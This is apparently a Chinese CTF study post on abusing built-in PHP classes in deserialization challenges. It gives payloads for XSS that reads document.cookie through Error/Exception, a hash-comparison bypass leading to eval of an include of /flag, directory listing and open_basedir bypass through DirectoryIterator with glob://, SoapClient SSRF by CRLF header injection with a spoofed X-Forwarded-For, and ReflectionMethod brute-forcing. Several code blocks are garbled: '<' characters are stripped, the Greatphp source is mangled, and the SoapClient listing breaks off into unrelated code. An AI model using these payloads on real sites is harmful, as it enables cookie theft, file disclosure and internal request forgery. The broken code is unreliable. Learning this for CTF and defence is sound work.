前言
封寝准备CISCN,打完这次CISCN就去实习了。等打完比赛就暂时把CTF放一边,当了三年的CTF赛狗,先把实习要求的内容进行一次学习。(主要偏CTF,研究较少)。
PHP原生类学习
查看各方法的内置类
通过这段代码查看方法的类,这里看到__toString方法对应的Error类
?php classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n"; } } }
利用Error/Exception内置类进行XSS
Error类
1.利用条件
php7以上
开启报错情况下
Error类是php的一个常见类,用于自定义一个Error,当用户输入错误的值,回显Error页面,php7版本会存在类似的XSS漏洞。Error::__toString,Error类存在__toString的方法,该方法进行类当作字符串进行回应,也就是echo $l3ife会显示什么。php对象当作一个字符串输出(echo $l3ife)会触发to_String方法。一般用于反序列化漏洞和XSS漏洞。
本地创建error.php(php版本设置为7.0)
?php highlight_file('2.php'); $a = unserialize($_GET['cmd']); echo $a; ?>
这段反序列化函数,并不存在自定义类,不可以打反序列化,可以用php反序列化的php内置类
POC: ?php $a=new Error("script>alert('xss')/script>"); $b = serialize($a); echo urlencode($b); ?>
这样就构成XSS漏洞,也可以获得COOKIE信息。
Exception类
1.利用条件
php5、php7
开启报错的情况下
本地创建2.php的文件
?php highlight_file('2.php'); $a = unserialize($_GET['cmd']); echo $a; ?>
POC
?php $a = new Exception("script>alert('xss')/script>"); $b = serialize($a); echo urlencode($b); ?>
[BJDCTF 2nd]xss之光
通过git拿到源码
?php $a = $_GET['yds_is_so_beautiful']; Echo unserialize($a);
给了GET传参,进行反序列化,不知道怎么自定义类,遇到了反序列化没有POP链的情况。只能通过php内置类进行反序列化,又存在echo,可以用__toString方法返回对象进行反序列化。该题为XSS之光,所以可以通过XSS拿出FLAG。
思路:flag一般在COOKIE的信息里。
?php $poc=new Exception("script>alert(document.cookie)/script>"); Echo urlencode(serialize($poc));?> 反弹cookie
将得到的结果传入
/?yds_is_so_beautiful=$POC
利用Error/Exception 内置类绕过哈希比较
测试代码
?php $a = new Error("payload",1); echo $a;
发现会以字符串进行输出,包括当前的错误信息payload以及报错的行号2,传入 Error("payload",1) 中的错误代码“1”则没有输出出来。
?php $a = new Error("payload",1); $b = new Error("payload",2); echo $a; echo "\r\n\r\n"; echo $b;
输出
Error: payload in D:\phpstudy_pro\WWW\test.php:2 Stack trace: #0 {main} Error: payload in D:\phpstudy_pro\WWW\test.php:2 Stack trace: #0 {main}
$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。
可以利用这个方法果然哈希比较。
[2020 极客大挑战]Greatphp
考点:php内置绕过哈希比较、php取反绕过
?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if(($this->syc != $this->lover) \?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
要是常见的php题目,可以数组绕过强类型。在这题目中,需要Error类。
if( ($this->syc != $this->lover) " %8F%97%8F%96%91%99%90
Payload:?code=(~%8F%97%8F%96%91%99%90)();
将EXP写入 $cmd='/flag'; $cmd=urlencode(~$cmd); $str = "?>?=include~".urldecode("%D0%99%93%9E%98")."?>"; $a=new Error($str,1); $b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?>
利用Directorylterator和Filesystemlterator内置类读取文件
这两个内置类可以进行读取文件
Directorylterator
版本:php5、php7、php8
Filesystemlterator
版本:PHP 5 >= 5.3.0, PHP 7, PHP 8
Directorylterator
?php highlight_file(__file__); $dir=$_GET['cmd']; $a=new DirectoryIterator($dir); foreach($a as $f){ echo($f -> __toString()."br>"); } ?>
查看该类,发现__toString()方法
会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名 配合glob://协议使用模式匹配来寻找我们想要的文件路径 ```
Filesystemlterator
?php $dir=new Filesystemlterator("glob:///flag"); Echo $dir;
突破open_basedir的限制
这里看ctfshow web74
error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c=$_POST['c']; eval($c); $s=ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> Payload?c=$a=newDirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'br>');}exit();
绕过了open_basedir限制,信息泄露 接着包含一下 >c=include('/flagx.txt');exit();
利用SoapClient类进行SSRF
soapClient:专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类介绍:
SoapClient { /* 方法 */ public __construct ( string|null $wsdl , array $options = [] ) public __call ( string $name , array $args ) : mixed public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null public __getCookies ( ) : array public __getFunctions ( ) : array|null public __getLastRequest ( ) : string|null public __getLastRequestHeaders ( ) : string|null public __getLastResponse ( ) : string|null public __getLastResponseHeaders ( ) : string|null public __getTypes ( ) : array|null public __setCookie ( string $name , string|null $value = null ) : void public __setLocation ( string $location = "" ) : string|null public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
需要伪造IP为127.0.0.1.post传参token为ctfshow。就会将flag值写入flag.txt
Index.php
?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag();
传入vip参数并且反序列化,调用getFlag方法,但是找不到谁调用了,如果调用未知的方法,会默认调用php原生类的方法。该题是php原生类的SSRF考点。
本地开启phpstudy测试,创建2.php
注意:只开启nginx,且把php.ini文件里的
extension=php_soap.dll
soap.wsdl_cache_enabled=0
soap.wsdl_cache_ttl=0
?php $client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1:9999/ctfshow')); $client->getFlag();
uri为服务命名空间,location为发送给服务器的URL地址
并在本地监听9999端口
访问localhost/2.php,监听数据得到数据包
得到响应包,Location提交的ctfshow在POST那,需要提交一个post参数。并且可控制的参数为SOAPAction、UA。
进行伪造UA,前提提示token=ctfshow,content-Type长度有13个,试着获得flag.php
?php $ua="ctfshow\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua)); $client->getFlag();
监听查看,发现修改成功
Content-type发现长度token=ctfshow为13时,就把后面的丢弃。
注意flag.php还存在这段代码
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff);
进行分割数组,并且删除两次数组后面的元素。
所以我们需要插入三个127.0.0.1
?php $ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua)); $client->getFlag();
得到以下数据
修改2.php,测试端口我们选择9999,服务器端口为80;进行序列化。
这需要两个换行,我一直填一个,导致http包闭合了。
利用ReflectionMethod读取User类的方法
ReflectionMethod类
ReflectionMethod的类报告了方法的相关信息
版本:(PHP 5, PHP 7, PHP 8)
类的方法
ReflectionMethod::__construct — ReflectionMethod 的构造函数 ReflectionMethod::export — 输出一个回调方法 ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口,译者注:可以使用这个返回值直接调用非公开方法。 ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例 ReflectionMethod::getModifiers — 获取方法的修饰符 ReflectionMethod::getPrototype — 返回方法原型 (如果存在) ReflectionMethod::invoke — Invoke ReflectionMethod::invokeArgs — 带参数执行 ReflectionMethod::isAbstract — 判断方法是否是抽象方法 ReflectionMethod::isConstructor — 判断方法是否是构造方法 ReflectionMethod::isDestructor — 判断方法是否是析构方法 ReflectionMethod::isFinal — 判断方法是否定义 final ReflectionMethod::isPrivate — 判断方法是否是私有方法 ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected) ReflectionMethod::isPublic — 判断方法是否是公开方法 ReflectionMethod::isStatic — 判断方法是否是静态方法 ReflectionMethod::setAccessible — 设置方法是否访问 ReflectionMethod::__toString — 返回反射方法对象的字符串表达
[第十四届全国信息安全竞赛]easy_resource
扫描得到index.php.swo
?php class User { private static $c = 0; function a() { return ++self::$c; } function b() { return ++self::$c; } function c() { return ++self::$c; } function d() { return ++self::$c; } function e() { return ++self::$c; } function f() { return ++self::$c; } function g() { return ++self::$c; } function h() { return ++self::$c; } function i() { return ++self::$c; } function j() { return ++self::$c; } function k() { return ++self::$c; } function l() { return ++self::$c; } function m() { return ++self::$c; } function n() { return ++self::$c; } function o() { return ++self::$c; } function p() { return ++self::$c; } function q() { return ++self::$c; } function r() { return ++self::$c; } function s() { return ++self::$c; } function t() { return ++self::$c; } } $rc=$_GET["rc"]; $rb=$_GET["rb"]; $ra=$_GET["ra"]; $rd=$_GET["rd"]; $method= new $rc($ra, $rb); var_dump($method->$rd());
考虑利用原生类 ReflectionMethod 读取 User 类中的方法
构造Payload
?rc=ReflectionMethod&ra=User&ra=User&rb=
rb取a-z。进行burp爆破
参考文档
https://www.codetd.com/article/13648456
https://xz.aliyun.com/t/9293
转载请注明来自网盾网络安全培训,本文标题:《PHP原生类学习》
标签:
- 上一篇: 中国网络安全产业发展现状及对策
- 下一篇: 内存取证方法之volatility⼯具的使⽤
- 关于我们